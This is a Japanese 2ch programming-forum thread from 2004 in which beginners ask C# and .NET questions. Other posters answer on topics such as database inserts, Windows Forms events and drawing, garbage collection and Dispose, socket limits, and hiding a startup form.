1 名前:デフォルトの名無しさん [03/10/04 01:02] このスレッドは 「どんなにくだらないC#プログラミングに関する発言でも誰かが優しくレスをしてくれるスレッド」です。 ほかのスレッドでは恐ろしくて書き込めないような低レベル、もしくは質問者自身なんだか意味がよく分からない質問など、 勇気をもって書き込んでください。 少しずつC#プログラマを名乗るものが現れました。みなさん一緒に勉強しましょう。 前スレッドはこちら pc2.2ch.net/test/read.cgi/tech/1059028988/l50 (Part4) pc2.2ch.net/test/read.cgi/tech/1047210828/l50 (Part3) pc2.2ch.net/test/read.cgi/tech/1035895873/l50 (Part2) pc2.2ch.net/test/read.cgi/tech/1023766485/l50
210 名前:デフォルトの名無しさん [04/08/01 22:20] はじめまして、 C#でデータベースに関することを勉強しています。 ボタンを押すとアクセスに「123」というデータを追加するプログラムを書いています。 壁にぶつかりましたので、ご指導していただけませんか。 odbcDataAdapter1などの設定し、以下のボタンの内容を書きました。 odbcConnection1.Open(); odbcDataAdapter1.InsertCommand.Parameters["@ab"].Value="123"; odbcDataAdapter1.InsertCommand.ExecuteNonQuery(); odbcDataAdapter1.Fill(dataSet11); odbcConnection1.Close(); すると 'System.IndexOutOfRangeException' のハンドルされていない例外が system.data.dll で発生しました。
211 名前:デフォルトの名無しさん mailto:sage [04/08/01 22:24] > 対象となる関数は、正規分布関数のようにパラメータ二つだけとは限りませんし、 > 今後、多変数に対応するにあたって、このまま場当なやり方で行きますとプログラムの保守が危機的になると考え > 第一段階として、現在はC#のソースコードを自動生成するプログラムを作って対応しています。 これが結構まっとうな方法な気もしますが。。。 もしかして、パラメータが変わるだけではなく、どんな関数を作るかは あらかじめ決まってない、ってことですか? C++でいえば、boost::lambdaみたいなことをしたいのかなぁ? > しかし、これも必ずしも良い方法とも言えず、もっと効率的にプログラムできる方法として、 > 色々探している内にリフレクションという物を使ってみようかと考えていました。 リフレクションで出来るかどうかはわかりませんが、一応参考に。 members.jcom.home.ne.jp/1213687801/cs/reflection/reflection4.html www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfsystemreflectionemittypebuilderclasstopic.asp
212 名前:デフォルトの名無しさん mailto:sage [04/08/01 23:01] >>210 ここにある例が参考になりませんかね。 www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/cpref/html/frlrfsystemdatasqlclientsqldataadapterclassinsertcommandtopic.asp
213 名前:デフォルトの名無しさん mailto:sage [04/08/02 08:36] 普通に IDbCommand.ExecuteNonquery() はダメなの?
214 名前:デフォルトの名無しさん [04/08/03 21:03] プログラムの構造をどうしたらいいのかが分かりません。 例えば、オセロプログラムを考えるとします。 オセロのマスの部分にButtonから継承したクラスMasuを使います。 Masuを8*8個集めた配列をBoardとします。 オセロゲーム ━━ Board (集約する)━━ Masu という風になっていますが、 Masuがクリックされた時に 隣のマスをひっくり返すかどうか走査するとしても、 Masuからは隣のMasuなんて分かりませんよね? だからBoardに頼んで調べてもらいたいわけですが どうやったらそうできるのかがわからないです。どうしたらいいのですか?
215 名前:デフォルトの名無しさん mailto:sage [04/08/03 21:07] X 配列Board O クラスBoard でした
216 名前:デフォルトの名無しさん mailto:sage [04/08/03 21:43] >>214 Masu に必要な機能は、 ・そのマスの内容を保持 ・画面に描画する ・クリックされたことを、Board に通知する の3つでいいんじゃない? ひっくり返すのは、Board でやればいい。
217 名前:デフォルトの名無しさん [04/08/03 23:21] >>216 その三番目のboardに通知する方法が分からんですよ。
218 名前:デフォルトの名無しさん mailto:sage [04/08/03 23:32] >>217 Clickイベント。
219 名前:デフォルトの名無しさん mailto:sage [04/08/03 23:51] >>217 boardのメソッドの引数に自分を渡せばいい。
220 名前:デフォルトの名無しさん mailto:sage [04/08/04 00:18] >214 もっと PlayerとかTurnMasterとかJudgeとかつくれや。Masuはいらん
221 名前:デフォルトの名無しさん mailto:sage [04/08/04 00:53] >>220 高度すぎ。質問者をみて答えてやれよ。
222 名前:デフォルトの名無しさん mailto:sage [04/08/04 00:56] >221 書き込んだ後そう思った.すいません。 Masu作るときにボードを引数で渡してそれ使う.それかイベント
223 名前:デフォルトの名無しさん [04/08/04 23:39] こういうのってできるかな? void Hoge( params object [] arg ) の ref バージョンで void Hoge( ref object arg0 , ref object arg1 , ref object arg2 ... ) ; の様な物。 必要個数分オーバーロードするしかないかな?
224 名前:デフォルトの名無しさん [04/08/05 00:33] コントロールのクライアント領域について質問です。 以下のような Panel を継承したクラスをつくりました。 public class PanelEx : System.Windows.Forms.Panel { public PanelEx() { } protected override void OnPaint(PaintEventArgs e) { base.OnPaint (e); Pen p = new Pen(Color.Black, 1); e.Graphics.DrawRectangle(p, this.ClientRectangle); p.Dispose(); } } この PanelEX クラスのインスタンスを、普通に Form1 の コンストラクタ内で生成したところ、画面には PanelEx の 左側と上側にしか線がひかれません。 なぜでしょうか?また、どうすればちゃんと矩形が描かれますか?
225 名前:デフォルトの名無しさん mailto:sage [04/08/05 00:55] >>224 はみ出て見えないので矩形を小さく、例えば幅と高さを-1にしたりする。
226 名前:224 [04/08/05 01:29] >>225 ええええー。なぜそんな仕様になってるんでしょうか?
227 名前:デフォルトの名無しさん [04/08/05 02:00] >>226 厨避けの為。
228 名前:デフォルトの名無しさん mailto:sage [04/08/05 02:03] >>226 別におかしくないよ。 www.microsoft.com/japan/msdn/library/ja/jpdnprogwincsharp/htm/chapter15.asp?frame=true
229 名前:デフォルトの名無しさん mailto:sage [04/08/05 10:20] >>220 ウヒャー 220さんの高度な設計だと、どんな風になるんですか? コードをつけながら説明してほしい・・・
230 名前:デフォルトの名無しさん mailto:sage [04/08/05 19:29] >>229 高度 コード !?
231 名前:デフォルトの名無しさん [04/08/05 22:23] 超基本で悪いんだけど、 int i = Console.Read(); Console.WriteLine(i); これでたとえば「2」を入力すると出力が「50」なんてなるんですが、なぜなのでしょうか?
232 名前:デフォルトの名無しさん mailto:sage [04/08/05 22:31] >>231 コンピュータの中では、「文字」ってのは一定のルールで数字の列に変換されて扱われてます。 このルールのことをエンコーディング、数字(の列)のことを文字コードと呼んだりします。 んで、文字の "2" に対応するコードが 50 (16進数で 0x32) なわけです。 ファイルやネットワーク等での読み書きは、byte の列を使って行われるのが基本で、 .Net Framework で文字列からこのバイト列に(またはその逆に)変換するには、 Encoding クラス(のインスタンス)を用います。
233 名前:デフォルトの名無しさん mailto:sage [04/08/05 22:31] P.S. "2"という文字列から、数字の 2 に変換するには、Int32.Parse() などを使います。
234 名前:231 mailto:sage [04/08/05 22:36] >>232 文字コードを実数値にしないといけないんですね。 丁寧な即レスありがとうございます。
235 名前:デフォルトの名無しさん mailto:sage [04/08/06 00:26] 久しぶりにきたが、なんだかいいスレになってるじゃねーか!
236 名前:デフォルトの名無しさん mailto:sage [04/08/06 07:42] コンソールはほとんど勉強してなかったから試してみたんだけど char c = (char)Console.Read(); とすれば、そのまま表示できまっせ。MSDNだとintを返すことになってるから まぎわらしいんだけどね。
237 名前:デフォルトの名無しさん [04/08/06 07:43] こんにちは 今画像のサムネイル保存用に複数画像をまとめてひとつの ファイルにしようとしています。 Aファイルサイズ・Aファイル・Bファイルサイズ・Bファイル・・・ みたいな感じ合成し、インデックスで呼び出そうかと思っています。 で、ふと思ったのですが、そういう複数のファイルをまとめてしまう クラスって既にあったりするのでしょうか。 よろしければお教えください。よろしくお願いいたします。
238 名前:デフォルトの名無しさん mailto:sage [04/08/06 09:33] Bitmap imageA = new Bitmap("A.bmp"); Bitmap imageB = new Bitmap("B.bmp"); Bitmap imageC = new Bitmap("C.bmp"); Bitmap bmp = new Bitmap(300, 100); Graphics g = Graphics.FromImage(bmp); g.DrawImage(imageA, 0, 0); g.DrawImage(imageB, 100, 0); g.DrawImage(imageC, 200, 0); g.Dispose(); bmp.Save("ABC.bmp"); bmp.Dispose(); imageA.Dispose(); imageB.Dispose(); imageC.Dispose();
239 名前:デフォルトの名無しさん [04/08/06 10:42] そうきましたか・・・ Hash的に名前で簡単にストリームを取り出せるような 仕組みが既存クラスにないかなーとか思っていたのでした。 やはり頑張って自分で実装してみます。 ありがとうございました。
240 名前:デフォルトの名無しさん mailto:sage [04/08/06 11:04] 参照設定でvjslib.dll(Microsoft Visual J# .NET Class Library)を追加して、java.util.zipで
241 名前:デフォルトの名無しさん [04/08/06 11:42] !!! なるほど! 早速やってみます。 ありがとうございました!
242 名前:デフォルトの名無しさん [04/08/06 23:07] DirectX 9.0 SDK (Summer 2004)の日本語ドキュメントをインストールしたんだが、 VS.NET2003に反映されないのです。 なんでなんでしょう・・・そういう方他にいますか?
243 名前:最凶VB厨房 mailto:sage [04/08/06 23:20] まずは再起動
244 名前:242 mailto:sage [04/08/06 23:24] >>243 再起動もしたんですがダメでした。
245 名前:最凶VB厨房 mailto:sage [04/08/06 23:28] SDK本体は入れてるのよな? まっわからんけど
246 名前:デフォルトの名無しさん mailto:sage [04/08/06 23:32] >>242 フィルタか?
247 名前:242 mailto:sage [04/08/06 23:52] 英語版ヘルプははいってるんですが・・・ フィルタもなしになってます。 本来ならVS.NET起動時に「ヘルプを反映中・・」とかでますよね?
248 名前:242 mailto:sage [04/08/07 01:01] 連結ヘルプ コレクション マネージャで更新できました。 お騒がせしました。(・∀・)
249 名前:デフォルトの名無しさん mailto:sage [04/08/07 11:42] >>242 DirectX9 SDK Summer2004の日本語ドキュメントってもう出てたの?
250 名前:デフォルトの名無しさん mailto:sage [04/08/07 11:51] >>249 変な書き方しちゃいましたね。 2004入れてから日本語ドキュメント入れたら〜でした。スマソ
251 名前:デフォルトの名無しさん [04/08/07 13:25] 外部プロセスに確保した領域をPtrToStructureすると例外が発生するのは何故でしょうか。どうかご教授お願いします。 using HANDLE=System.IntPtr;using LPVOID=System.IntPtr;using SIZE_T=System.UInt32;using DWORD=System.UInt32; class CMyApp:System.Windows.Forms.Form { [System.Runtime.InteropServices.DllImportAttribute("kernel32")] static extern LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect); DWORD PAGE_READWRITE=0x04; DWORD MEM_COMMIT= 0x1000; static void Main() { System.Windows.Forms.Application.Run(new CMyApp()); } CMyApp() { this.Click+=new System.EventHandler(OnClick); } void OnClick(object sender,System.EventArgs e) { LPVOID 自分側の領域=VirtualAllocEx(System.Diagnostics.Process.GetCurrentProcess().Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE); LPVOID 他人側の領域=new LPVOID(); foreach(System.Diagnostics.Process inc in System.Diagnostics.Process.GetProcesses()) if("Explorer"==inc.ProcessName) 他人側の領域=VirtualAllocEx(inc.Handle,(LPVOID)0,(DWORD)System.Runtime.InteropServices.Marshal.SizeOf(typeof(System.TimeSpan)),MEM_COMMIT,PAGE_READWRITE); System.Runtime.InteropServices.Marshal.PtrToStructure(自分側の領域,typeof(System.TimeSpan));//自分側の領域では例外は発生しない System.Windows.Forms.MessageBox.Show("次で例外発生"); System.Runtime.InteropServices.Marshal.PtrToStructure(他人側の領域,typeof(System.TimeSpan)); } }
252 名前:デフォルトの名無しさん mailto:sage [04/08/07 14:35] >>251 非Managedなプロセス空間にManagedな構造体を確保する意味がさっぱりわからないんだが。 ttp://dotnetjunkies.com/WebLog/chris.taylor/archive/2004/05/31/14828.aspx とりあえず外部プロセスへのちょっかいの参照。
253 名前:251 [04/08/07 15:56] 252さんアドバイスありがとうございます。 これをやりたい理由は、興味本位で出来るかどうか試したかっただけです。 とりあえず上のURLをよく読んで見ます。
254 名前:デフォルトの名無しさん mailto:sage [04/08/07 18:02] おまいら、コールバックにデリゲートとインターフェースの どっち使ってる? JavaのGUIのリスナーみたいなケースなら、デリゲートの 方が何もしないメソッドまで記述しなくて済むし効率いいかな。
255 名前:デフォルトの名無しさん mailto:sage [04/08/07 18:30] >>254 俺は Java 出身だから、ある程度一まとまりの処理をくっつけるならインターフェイス使っている デリゲートは纏まり間が無くて、単体なら遣いやすいけど微妙
256 名前:デフォルトの名無しさん mailto:sage [04/08/07 21:19] 俺はデリゲート派
257 名前:デフォルトの名無しさん mailto:sage [04/08/07 21:22] anonymous class は使えないが、anonymous delegate は使えるようになるので、 デリゲートにしておくのが無難なのでは。
258 名前:デフォルトの名無しさん mailto:sage [04/08/07 23:45] 非常に唐突な質問で申し訳ないが、C#で、というか.NET Frameworkで 各ドライブのボリュームラベルを取得するのってどうやるんだべさ? なんかAPI叩くしかなかったら非常に鬱なので教えてエロイ人!
259 名前:デフォルトの名無しさん mailto:sage [04/08/07 23:48] >>258 DriveInfo.VolumeLabel かな。 …… .NET Framework 2.0 だけど。
260 名前:デフォルトの名無しさん mailto:sage [04/08/08 00:00] 2.0で変更になったクラスの一覧ってないかな?
261 名前:デフォルトの名無しさん mailto:sage [04/08/08 00:06] >>259 やっぱ2.0になっちまうのか・・・。 何故こんな基本的なもんが実装されてないんだと小一(ry
262 名前:デフォルトの名無しさん mailto:sage [04/08/08 00:18] [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] extern static bool GetVolumeInformation( string RootPathName, StringBuilder VolumeNameBuffer, int VolumeNameSize, out uint VolumeSerialNumber, out uint MaximumComponentLength, out uint FileSystemFlags, StringBuilder FileSystemNameBuffer, int nFileSystemNameSize);
263 名前:デフォルトの名無しさん mailto:sage [04/08/08 00:20] >>262 トンクスエロイ人! やっぱこうやるか・・・。なんだかなぁ・・・
264 名前:デフォルトの名無しさん [04/08/08 02:15] Socket.Selectで64を超えるソケットリストを渡すと範囲外エラーになるのですが、 この64という制限は何によってかかっているでしょうか。 100に変更したりとかできないでしょうか。
265 名前:デフォルトの名無しさん [04/08/08 11:05] ボタンの配列(二次元)をクリックされた時に、何番のボタンがクリックされたかを調べるにはどうしたら良いですか? MyButtons[,] = new Button[3,5]; のように宣言されていて、forの二重ループの中で初期化して MyButtons[i,j].Click += new EventHandler(MyButtons_Click); みたいにしてみましたが、MyButtons_Clickの引数には別に「MyButtonsの何番目か」は渡されません。 どうしたらいいんですか
266 名前:デフォルトの名無しさん mailto:sage [04/08/08 11:11] >>265 ボタンの番号が固定のものなら、Button.Tag あたりに番号を押し込めておけば良いのでは?
267 名前:デフォルトの名無しさん mailto:sage [04/08/08 11:22] 自分が [2,1]だとしたら、[2,0]と[2,2]のボタンも操作したいんですよ。 なんとかなりませんかねえ
268 名前:デフォルトの名無しさん mailto:sage [04/08/08 11:28] >>267 ??? だからTagにint[]{2, 1}とかいれとけばいいんじゃないの? それがまずいというのならもっとわかりやすく説明してくれないと何がなにやら。
269 名前:デフォルトの名無しさん mailto:sage [04/08/08 11:34] >>268 あ、いま意味が分かりましたサンクス
270 名前:デフォルトの名無しさん mailto:sage [04/08/08 12:19] >>264 普通に1000とかできるじゃん……と思ったら.NET Framework2.0だった。 1.1の制限のようだ。
271 名前:デフォルトの名無しさん mailto:sage [04/08/08 12:27] >>264 OS の制限。WaitForMultipleObjects() できる最大数が64だから。 2.0 で表面的な制限は外れても、64を超えると効率は落ちる気がする。
272 名前:デフォルトの名無しさん mailto:sage [04/08/08 13:46] 簡単なベンチの結果、数が25以上になった辺りから緩やかに効率が落ちていった。 でも64周辺の境界は見あたらなかった。 ついでに1.0/1.1/2.0bも比較してみた。(スコアは低い方が優秀) 10でスコア 410 / 370 / 250 25でスコア 320 / 300 / 230 40でスコア 325 / 320 / 250 64でスコア 370 / 370 / 300 有意の差があるね。 1.1までとは違う機構を利用してたりするんじゃないかってくらい2.0は早い。 数が少ない時と多い時のスコアの分布とか。
273 名前:デフォルトの名無しさん [04/08/08 13:50] DataGridで ABC | DEF | GHI JKL | MNO | PQR STU | VWX | YZA BCD | EFG | HIJ こういう表の MNOとVWXだけ範囲指定させるみたいなことはできますか?
274 名前:264 mailto:sage [04/08/08 14:27] >>270-272 環境も書き忘れたのに本当にありがとうございます。 しかもWaitForMultipleObjectsとの関連、 ベンチまでしていただいてとても参考になりました。
275 名前:デフォルトの名無しさん mailto:sage [04/08/09 00:29] クラスのオブジェクトをコピーしたいんだけどよくわからんです。 AObject obj1 = obj2.Clone(); ってすればいいんだろうけど、 Cloneを書くときにCのmemcpyみたいなことってできないんでしょうか? それともいちいちフィールド一つずつ代入?
276 名前:デフォルトの名無しさん mailto:sage [04/08/09 00:38] Object.MemberwiseClone()
277 名前:275 mailto:sage [04/08/09 15:39] >>276 さんきゅ。 それつかってICloneableを実装するのが流儀なのだな。
278 名前:デフォルトの名無しさん mailto:sage [04/08/13 14:30] Point とかの Dispose できないヤツって、Dispose しなくていいの? Point aaa = new Point(0,0); aaa = new Point(1,1); aaa = new Point(2,2) とかしても大丈夫?
279 名前:デフォルトの名無しさん mailto:sage [04/08/13 15:17] >>278 int a = 0; a = 1; a = 2; とやることにためらいを覚える?
280 名前:デフォルトの名無しさん mailto:sage [04/08/14 04:46] char *p = malloc(100); p = malloc(100); p = malloc(100); とやることにはためらいを覚える。
281 名前:275 [04/08/15 15:23] Pointとかは構造体だからOKってことだよね。 正しいクラスはDisposeを持つべきってことか? 自前のやつも?
282 名前:デフォルトの名無しさん mailto:sage [04/08/15 15:30] >>281 もうちょっとGCを信用しようや。 Disposeが必要なのは基本的にUnmanagedなリソースを扱うクラスのみ。
283 名前:デフォルトの名無しさん mailto:sage [04/08/15 16:19] GCはいいんだけど、自分で自由に解放できないのがいまいち なんか「ゴミをゴミ箱に捨てると清掃員の仕事が減ってリストラされるから、ゴミは道に捨てるべき」とか言ってるみたい
284 名前:デフォルトの名無しさん mailto:sage [04/08/15 17:21] >>283 でも 道に捨てない −> 清掃員の仕事が減ってリストラ −> ごみを捨て忘れても綺麗にならない だから道に捨てるんだ。
285 名前:デフォルトの名無しさん [04/08/15 17:44] 環境はVS2003です。 ツール(T)→webページのビルドコメント(B) でドキュメントを作成したところ、「コード要素ページ operator + が不完全です。 」というエラーが取り除けなくて困っています。 だれか理由が分る人いますか? 以下問題のコードです。 /// <summary>テスト</summary> public class Test { /// <summary>足し算</summary> /// <param name="a">引数その1</param> /// <param name="b">引数その2</param> /// <returns>結果</returns> public static Test operator + ( Test a , Test b ) { return null ; } } >>282 Unmanagedというより、IO関連とかメモリーと連携するわけにはいかないオブジェクトが実装する必要があるのでは? OSのリソースはメモリーのようにいつでも解放できるリソースばかりではありませんから、そのようなリソースを握るオブジェクトには必然的に必要になります。 参照先がなくなった瞬間に即時開放されるタイプのクラスが定義できると、こんな面倒な事をしなくてすむんですが…… と、C++でスマートポインタを使っていると切に欲しくなる事があったりします。
286 名前:デフォルトの名無しさん mailto:sage [04/08/15 20:23] Disposeしたところでメモリに対しては何も出来ないんだから意味なし。 まあ、>>285 のように思う事はない事もない。
287 名前:デフォルトの名無しさん mailto:sage [04/08/15 20:29] 何らかのクリーンアップコードを実行したい場合なんかは、 Disposeを実装すべきである事が多い。 単に使用終了と言う意味合いだけなら、何もする必要なし。 ※Dispose実装したところでする事は何もない。 メモリに関しちゃほっとけばいいってのがGCのある環境での基本。
288 名前:デフォルトの名無しさん mailto:sage [04/08/15 20:30] using ステートメント(と IDisposable インタフェイス)ではどこがダメなの?
289 名前:デフォルトの名無しさん mailto:sage [04/08/15 20:47] 忘れる可能性があるから、強制できないから。 まあ、>>285 の言うようなスマートポインタみたいな物っていっても、 結局直接参照しか扱えないため、包含するクラスは全部そのタイプにしなけりゃ 意味がなかったりして、結局大げさになりすぎてうまくいかないかな。 GCとは相性が悪いね。
290 名前:デフォルトの名無しさん mailto:sage [04/08/17 19:02] MSNメッセンジャーでの「ほげほげがサインインしました」みたいなポップアップ ダイアログを作りたいのだが,ここにいる諸氏ならばどのようにして実現するか, 意見をお聞きしたい.
291 名前:デフォルトの名無しさん mailto:sage [04/08/17 19:45] 出来合いのコンポーネントを使う。
292 名前:デフォルトの名無しさん mailto:sage [04/08/17 20:47] >>290 他にもあるけど 窓の杜 - 【NEWS】米MS提供の.NET開発向けカスタムコントロール集「Visual Basic Power Pack」 www.forest.impress.co.jp/article/2004/06/24/vbpowerpack.html
293 名前:290 mailto:sage [04/08/17 21:46] >>292 激しく感謝.ありがとう.
294 名前:デフォルトの名無しさん [04/08/18 18:19] ファイルの末尾数バイトを削除する簡単な方法ってありますか? 一度全て読み込んだ後削除して上書きしか思いつかなくて。。。 消した後、そのファイルに追加を行うので、 消したい部分のみ上書きする方法でもいいのですが。。。
295 名前:デフォルトの名無しさん mailto:sage [04/08/18 18:37] 簡単……ねぇ? 上書きなら難しいことでもないけど。 int b = 5; FileStream fs = new FileStream("hoge.txt", FileMode.Open, FileAcceess.ReadWrite); fs.Position = fs.Length - b; StreamWriter sw = new StreamWriter(fs); 以下略
296 名前:294 mailto:sage [04/08/18 19:01] >>295 そっか TextWriter に、予め頭だししておいた Stream をぶち込めばよかったのか ありがとうございますそれでいけそうです
297 名前:デフォルトの名無しさん mailto:sage [04/08/19 16:55] >>295 そっか Mamko に、だしておいた Seishi をぶち込めばよかったのか ありがとうございますそれで子供できそうです
298 名前:デフォルトの名無しさん mailto:sage [04/08/19 16:57] つまらん
299 名前:デフォルトの名無しさん [04/08/23 08:20] C#で複数のマウスイベントを検出することは可能でしょうか? USBマウスとUSBトラックボールをつなげています。こららの移動情報を個別に取得したいと思います。 どうすれば、よいでしょうか?宜しくお願いしまう。
300 名前:デフォルトの名無しさん mailto:sage [04/08/23 08:25] >>299 .NET Frameworkのライブラリじゃ不可能。 Raw Input APIを使う必要がある。 参考:ttp://www.hatena.ne.jp/1085972533
301 名前:デフォルトの名無しさん mailto:sage [04/08/23 11:16] 意外にも、DirectInput じゃ区別できないのよね。
302 名前:デフォルトの名無しさん mailto:sage [04/08/25 06:19] 実行ファイルに関連付けられたアイコンをプログラムの中で 使用したいのですが、いい方法はないでしょうか。 なお、今のところ、同一のアイコンファイルを コンパイルオプションの「/win32icon」、「/resource」の双方を 使って実行ファイルに取り込んでいます。
303 名前:デフォルトの名無しさん mailto:sage [04/08/25 07:12] >>302 /win32icon は API の ExtractIcon/ExtractIconEx で取り出せる。
304 名前:デフォルトの名無しさん [04/08/26 01:30] classとstructを簡単に見分ける方法ってある? ライブラリのやつとかいちいちマニュアル見るの面倒なんだが。
305 名前:デフォルトの名無しさん mailto:sage [04/08/26 02:15] >>304 VS使ってるならnewのインテリセンスとか。 あんまりclassかstructかを見分ける必要なぞ感じたことがないしな。
306 名前:デフォルトの名無しさん [04/08/26 11:59] ListBoxを縦に二つに分けることはできないんでしょうか。 MultiColumnではなくて、ひとつの項目を二つの列に分けて表示したいんです。 具体的に何をしたいかというと、エラーの内容と発生時刻を表示したいんですが、 発生時刻を左側に、エラーの内容を右側にわけてリストボックスに表示したいんです。 日付は必ず1行ですがエラーの内容は複数行になる可能性があるので、 文字数揃えて表示・・とかよりも縦に二つに割れたら楽だと思うんですけど、どうやってやるのかさっぱりです。 ListBoxで実現するには、あるいはほかのコントロールで実現するにはどうすればいいんでしょうか。
307 名前:デフォルトの名無しさん mailto:sage [04/08/26 12:13] >>306 ちゃんと読んではいないけどGoogleのイメージ検索で引っかかったこれはどうだろう。 ttp://www.codeproject.com/cs/combobox/resizablelistbox.asp //私ならListViewを使うかな……?
308 名前:デフォルトの名無しさん mailto:sage [04/08/26 12:18] ぶっちゃけ自分で描画したほうが早い
309 名前:デフォルトの名無しさん mailto:sage [04/08/26 14:53] >>308 めんどくさくね?
310 名前:デフォルトの名無しさん mailto:sage [04/08/27 00:14] 面倒くさいかどうかというのは実装の早さに関して考慮することじゃないような
311 名前:304 mailto:sage [04/08/27 00:43] >>305 そうか。 コピーするときにcloneがいるかとか 遅くなるのかとか、結構気になるんだが
312 名前:デフォルトの名無しさん mailto:sage [04/08/27 03:39] チューンナップなぞ遅さが気になってからすればいいんですよ. 早過ぎる最適化は諸悪の(少なくとも大半の悪の)根源なり -- DEK
313 名前:デフォルトの名無しさん [04/08/27 17:15] AxWebBrowser って ToolTip くっつけられないんだっけ?
314 名前:313 mailto:sage [04/08/27 17:16] くだらない質問なのにあげちゃった_| ̄|○
315 名前:デフォルトの名無しさん mailto:sage [04/08/27 20:34] >>305 boxing と unboxing でドツボにはまるぞ。 値型と参照型の違いは押さえておいた方が良い。
316 名前:デフォルトの名無しさん mailto:sage [04/08/27 21:08] だよね。 struct を lock () して排他したつもり、とか。
317 名前:デフォルトの名無しさん mailto:sage [04/08/27 23:58] 心配しなくてもできねーよ。
318 名前:デフォルトの名無しさん mailto:sage [04/08/28 22:43] テキストボックスで HOME や END、あまつさえ SHIFT+HOME や SHIFT+END、 CTRL+Z や CTRL+C/V/X を実現するには自分でコードを書かないといけないのでしょうか?
319 名前:デフォルトの名無しさん mailto:sage [04/08/28 22:47] >>318 まず試せ。
320 名前:デフォルトの名無しさん [04/08/28 23:16] Windows.Formにプロパティを加えたんだけど、 デザイナのプロパティウィンドウには表示されませんね。 基底クラス(Windows.Form)に加えたプロパティは 派生クラス(Windows.Form)のデザイナに反映される みたいだけど、自分自身ならなぜだめなのかなぁ。
321 名前:デフォルトの名無しさん mailto:sage [04/08/28 23:51] >>320 まったく同じレスをどこかで見たなぁ。
322 名前:デフォルトの名無しさん mailto:sage [04/08/29 12:53] >>321 俺も見た記憶があるので探してみた pc5.2ch.net/test/read.cgi/tech/1045307942/294
323 名前:306 mailto:sage [04/08/29 14:08] >>307 ,308 遅ればせながら・・・ ListViewでいけました。 ありがとうございました。 詳細表示なんてさっぱり思い浮かびませんでした。
324 名前:318 mailto:sage [04/08/29 14:41] >>319 できました…。幻覚でも見ていたのかもしれません。 でも CTRL+A ってできないんですね。
325 名前:デフォルトの名無しさん [04/08/30 17:43] 1pxの点 . を任意の座標表示するにはどうしたら良いんでしょう? 1,1 - 1,2まで幅1の線を引くと、どうも2pxくらい線が引かれちゃうし 1,1 - 1,1にすると線ができないんです。
326 名前:デフォルトの名無しさん mailto:sage [04/08/30 18:05] >>325 Bitmap に SetPixel で点を描いて、Graphics.DrawImage で画面に描写。
327 名前:デフォルトの名無しさん mailto:sage [04/08/30 18:13] 他には、 FillRectangle(DrawRectangleは不可)で幅・高さ1の四角を描画。 Graphics.GetHwndで取得したデバイスコンテキストにWin32APIのSetPixelで描画。 ……元画像のビットマップを取得できるならBitmap.SetPixelが一番手っ取り早い/速いんだけどねー。
328 名前:デフォルトの名無しさん mailto:sage [04/08/30 19:13] それ俺も気になって調べたんだけど 点を描画するGraphicsクラスのメソッドはないみたいなんだよね 結局SetPixelで妥協したけど、 Graphicsオブジェクトを使って描画を行うというルールから離れるからあんまりやりたくない
329 名前:デフォルトの名無しさん mailto:sage [04/08/30 19:18] ……327のGetHwndはGetHdcの間違い。 //user32.dllのAPIをまとめたクラスを最近作ってるからhwndまみれでつい。
330 名前:デフォルトの名無しさん mailto:sage [04/08/31 00:59] >>328 Graphics はベクタ形式を含む一般的なグラフィックを扱うクラスだから、“点”という概念がないのよね。 数学的には、点は半径が無限小の円と等価な存在で、半径0の円は画面に表示できないから。 点、というか、ピクセル単位の処理がしたければビットマップを使えと。 Graphics に元画像のビットマップを取得するメソッドがないのは、 将来的に(Avalon で)、OS 自体をベクタ画像ベースで動くものにするつもりでいるからじゃないかな。
331 名前:デフォルトの名無しさん mailto:sage [04/09/05 13:36] >>330 目から鱗
332 名前:デフォルトの名無しさん [04/09/08 21:18] www.atmarkit.co.jp/fdotnet/basics/adonet01/adonet01_01.html の記事をみてSQL Server 2000を使ってみようと思い立ったんですが、 とりあえず www.microsoft.com/japan/sql/evaluation/trial/2000/ をインストールして みたのですが、ヘルプをみても使い方がサッパリ分りません。 インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。 これってまず何をすればいいんでしょうか?
333 名前:デフォルトの名無しさん mailto:sage [04/09/09 01:51] はじめまして。 mobiquitous.com/programming/ietoolbar.html これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように したいのですが、どうすればIEを操作できるのか見当がつきません。 何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。
334 名前:デフォルトの名無しさん mailto:sage [04/09/09 12:55] >>333 Site もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを 得て Navigate すればいいんじゃない?
335 名前:333 mailto:sage [04/09/09 22:37] >>334 ありがとうございます。 調べてみます。
336 名前:デフォルトの名無しさん mailto:sage [04/09/10 16:44:32] アプリケーションをフォームが非表示の状態で開始するにはどうやればいいか教えていただけますか? Application.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・
337 名前:デフォルトの名無しさん mailto:sage [04/09/10 17:01:55] >>336 ttp://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vbcon/html/vbtsksettingformtobeinvisibleatitsinception.asp 個人的にはApplication.Run()でやることが多いけど。
338 名前:デフォルトの名無しさん mailto:sage [04/09/10 21:30:59] >>337 これだと確かに表示はされないけれども、Load イベントも上がらないし・・・ 普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、 というような状況なのです。CreateSuruct でも override してみるかなぁ。
339 名前:デフォルトの名無しさん mailto:sage [04/09/10 21:56:22] CreateParams を override して WS_VISIBLE を落としてもダメ、 Form の Load イベントで this.Hide() しても this.Visible = false; してもダメ、 Application.Run を Form.ShowDialog にしてもダメ。 (関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので 表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・) VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。 タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。
